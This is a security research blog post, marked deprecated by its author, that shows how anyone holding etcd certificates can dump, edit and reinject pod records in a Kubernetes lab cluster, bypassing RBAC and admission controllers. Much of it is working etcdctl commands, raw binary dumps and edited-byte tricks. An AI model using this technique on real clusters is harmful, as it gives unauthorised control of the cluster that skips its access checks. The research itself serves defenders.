Abusing ETCD to Inject Resources and Bypass RBAC and Admission Controller Restrictions
UPDATE 20/10/23: The detailed history below was the initial steps in the research on how to inject resources into etcd. The research progressed and led to a more direct technique that was presented at Kubecon China 2023, so this article is now deprecated. Check out the video here: https://www.youtube.com/watch?v=qtDV3GPoBdE
During my journey to become a Certified Kubernetes Administrator (CKA) and Certified Kubernetes Security Specialist (CKS), I was focused on exploring ways an attacker could exploit an exposed ETCD. I attempted various methods without success until now.
DISCLAIMER: Please note that this technique can only be used when the attacker already has access to the ca.crt, server.crt, and server.key files and the ETCD is exposed, which already puts the attacker in an advantageous position. This could be also valuable if the ETCD host/container is compromised and you don’t have credentials/authorization for the kube-apiserver or it is not reachable.
Kubernetes Architecture
Fist of all we need to understand the kubernetes architecture and the role of etcd on it. A kubernetes cluster is made by multiple components, basically they’re splited in control-plane (aka master) or in worker nodes (aka nodes).
In the control plane, we typically find the following components:
- kube-apiserver: This serves as the brain of the cluster and handles requests from clients (such as kubectl) while coordinating with other components to ensure they are functioning properly.
- scheduler: This component is responsible for determining on which node a specific pod should be deployed.
- control manager: This manages the status of nodes, jobs, default service accounts, and tokens.
- etcd: A key-value store that stores all data related to the cluster.
In the nodes, we can typically find:
- kubelet: An agent that runs on each node and ensures that pods are running and healthy.
- kube-proxy: This component exposes services running on pods to the network.
So, basically, ETCD is a key value store that saves all the data of the cluster: running pods, deployments, roles, clusterroles, bindings, services… anything! In fact, when a kubernetes administrator wants to backup the entire cluster without third parties then just dump the entire ETCD and then push the dump back to ETCD to restore it. This is why ETCD is a master key for any k8s cluster.
How ETCD works
A key value store is a database with keys and values, which is quite simple. Basic instructions are get, put/set, del/rm , mkdir, rmdir or ls:
How K8S saves data on ETCD
To understand how Kubernetes inserts data into ETCD, we will create a test pod running an nginx image:
If we try to get all the details inserted in ETCD we should run:
ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt get /registry/<resourceType>/<namespace>/<name>root@kind-control-plane:/# ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt get /registry/pods/default/testpod
/registry/pods/default/testpod
k8s
v1Pod�
�
testpod▒default"*$aa2e71d8-f313-46b1-a4b7-c2be9dac38412����Z
runtestpodz��
kubectl-runUpdate▒v����FieldsV1:�
�{"f:metadata":{"f:labels":{".":{},"f:run":{}}},"f:spec":{"f:containers":{"k:{\"name\":\"testpod\"}":{".":{},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:resources":{},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:terminationGracePeriodSeconds":{}}}B��
kubeletUpdate▒v����FieldsV1:�
�{"f:status":{"f:conditions":{"k:{\"type\":\"ContainersReady\"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:status":{},"f:type":{}},"k:{\"type\":\"Initialized\"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:status":{},"f:type":{}},"k:{\"type\":\"Ready\"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:status":{},"f:type":{}}},"f:containerStatuses":{},"f:hostIP":{},"f:phase":{},"f:podIP":{},"f:podIPs":{".":{},"k:{\"ip\":\"10.244.2.4\"}":{".":{},"f:ip":{}}},"f:startTime":{}}}Bstatus�
�
kube-api-access-4ftd4k�h
"
�▒token
(▒&
kube-root-ca.crt
ca.crtca.crt
)'
%
namespace▒
v1metadata.namespace��
testpodnginx*BJL
kube-api-access-4ftd4▒-/var/run/secrets/kubernetes.io/serviceaccount"2j/dev/termination-logrAlways����File▒Always 2
ClusterFirstBdefaultJdefaultR
kind-worker2X`hr���default-scheduler�6
node.kubernetes.io/not-readyExists▒" NoExecute(��8
node.kubernetes.io/unreachableExists▒" NoExecute(�����PreemptLowerPriority▒�
Running#
InitializedTrue����*2
ReadyTrue����*2'
ContainersReadyTrue����*2$
PodScheduledTrue����*2▒"*
172.18.0.22
10.244.2.����B�
testpod
����▒ (2docker.io/library/nginx:latest:_docker.io/library/nginx@sha256:b8f2383a95879e1ae064940d9a200f67a6c79e710ed82ac42263397367e7cc4eBMcontainerd://9bb5132ac6404845237da3424cdf36d0f19c8ae985ee6caa8b09e28cc596ef4cHJ
BestEffortZb
10.244.2.4▒"Injecting a pod through ETCD
As you can see, we received a binary output, so we can save this dump and try to inject them back:
#Dump the pod information
root@kind-control-plane:/# ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt get /registry/pods/default/testpod > testpod.dump
#Delete the running pod
root@kind-control-plane:/# kubectl delete pod testpod
pod "testpod" deleted
#Confirm that there are no pods
root@kind-control-plane:/# kubectl get pods
No resources found in default namespace.
#Inject pod dump
root@kind-control-plane:/# cat testpod.dump | ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt put /registry/pods/default/testpod
OK
#Check for running pods
root@kind-control-plane:/# kubectl get pods
Error from server: illegal base64 data at input byte 34We get an error from the very beginning of the pod at byte 34:
root@kind-control-plane:/# ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt get /registry/pods/default/testpod
/registry/pods/default/testpod
/registry/pods/default/testpod
k8s
v1Pod�
�
testpod▒default"*$aa2e71d8-f313-46b1-a4b7-c2be9dac38412����Z
runtestpodz��
kubectl-runUpdate▒v����FieldsV1:�
[REDACTED]
As we can see the first two lines repeat the /registry/pods/default/testpod, so ETCD outputs the path before the binary, then we should strip this just by appending tail -n+2 during the first dump or just delete it manually. Now our dump starts at k8s line. Let’s gonna try a new injection:
#Confirm that the dump start at k8s
root@kind-control-plane:/# head -n1 testpod.dump
k8s
#No pods running
root@kind-control-plane:/# kubectl get pods
No resources found in default namespace.
#Inject pod
root@kind-control-plane:/# cat testpod.dump | ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt put /registry/pods/default/testpod
OK
#Error received from EOF
root@kind-control-plane:/# kubectl get pods
Error from server: unexpected EOFNew error at EOF. So using xxd we realized about the repeated hexadecimal values of the EOF:
We have a double EOF: The first EOF was already in the dump file and the second EOF was injected by the last set instruction in etcdctl, so we need to wipe them all using an hexadecimal editor (i.e. bless). Now we got the final version of the dump file which start at k8s and without EOF bytes at the end:
root@kind-control-plane:/# head -n1 poc.dump
k8s
root@kind-control-plane:/# xxd poc.dump | tail -n1
00000840: 3234 342e 322e 341a 0022 00 244.2.4..". Let’s try to inject this last modified dump:
Hurray! We made it!
Additional tests
Now it seems we got in testpod.dump a sort of a template for creating new pods, is that right? Let’s try to confirm this and will try to exchange the image name from nginx to ubuntu:
#Confirm that there are no pods running
root@kind-control-plane:/# kubectl get pods
No resources found in default namespace.
#Change nginx image for ubuntu
root@kind-control-plane:/# sed -i 's/nginx/ubuntu/g' testpod.dump
#Inject pod
root@kind-control-plane:/# cat testpod.dump | ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt put /registry/pods/default/testpod
OK
#Get running pods
root@kind-control-plane:/# kubectl get pods
Error from server: unexpected EOF
#Confirm that 0a bytes were deleted
root@kind-control-plane:/# xxd testpod.dump | tail -n1
00000840: 3130 2e32 3434 2e32 2e34 1a00 2200 10.244.2.4..".So what happened here? We just exchanged the nginx string for ubuntu! Well, after some tests we realized that if you try to add or remove some bytes of the binary structure then everything brokes up. But what if we maintain the same length? For example, httpd image has 5 characters, same as nginx, so let’s gonna try:
#Exchange nginx for httpd, same length
root@kind-control-plane:/# sed -i 's/nginx/httpd/g' testpod.dump
#No pods running
root@kind-control-plane:/# kubectl get pods
No resources found in default namespace.
#Inject modified template
root@kind-control-plane:/# cat testpod.dump | ETCDCTL_API=3 etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc/kubernetes/pki/etcd/ca.crt put /registry/pods/default/testpod
OK
#Get running pods
root@kind-control-plane:/# kubectl get pods
NAME READY STATUS RESTARTS AGE
testpod 1/1 Running 0 51m
#Confirm that is running httpd image
root@kind-control-plane:/# kubectl get pod testpod -o yaml | grep -i image
- image: httpd
imagePullPolicy: Always
image: docker.io/library/httpd:latest
imageID: docker.io/library/httpd@sha256:ee2117e77c35d3884c33e18398520c8817879b3b15d9faca93652eb3794e8950An interesting aspect of this template is that it can be used for the same KIND-based infrastructure as long as the byte length of each value is maintained. This means that it can be used to alter elements such as pod name, image, worker node, or any other aspect of the infrastructure.
Reusing dumps as templates? Nope
No, but the technique can be applied. For example, these tests were conducted in a KIND environment and I was curious if the dump could be injected into other solutions such as minikube or microk8s. However, other implementations use different plugins, such as minikube using calico instead of kinetd from KIND, which may add metadata to the pod, altering the binary structure.
However, there is still hope. If you are able to create a mirror cluster with the same plugins, CNI, CSI, and node names as your target, then you can create custom templates for that environment. Note that most on-prem or virtualized environments can be replicated using kubeadm and vagrant.
Bypassing RBAC and Admission Controllers
In short, kubectl communicates directly with the kube-apiserver, which acts as a gatekeeper for all requests. Before any resource is created and added to etcd, the kube-apiserver verifies the authenticity of the request by checking the authentication mechanism, then it checks the authorization rights. If everything is in order, it then applies the rules set by the enabled admission controllers to finalize the process.
An advantage of this technique is that it bypasses any restrictions set by RBAC or Admission Controllers, as it directly accesses ETCD without going through the kube-apiserver.
Conclusions
Previously, exposing ETCD posed a threat to the confidentiality of the cluster, and an attacker with access to the certificates could also compromise the availability of the cluster by deleting its entries.
However, with this technique, it is even possible to manually inject resources without restrictions from RBAC or Admission Controllers by replicating the target infrastructure or by exporting and importing ETCD entries while maintaining the byte length of each value. This technique grants full control over the cluster and potentially at the host level of the nodes.
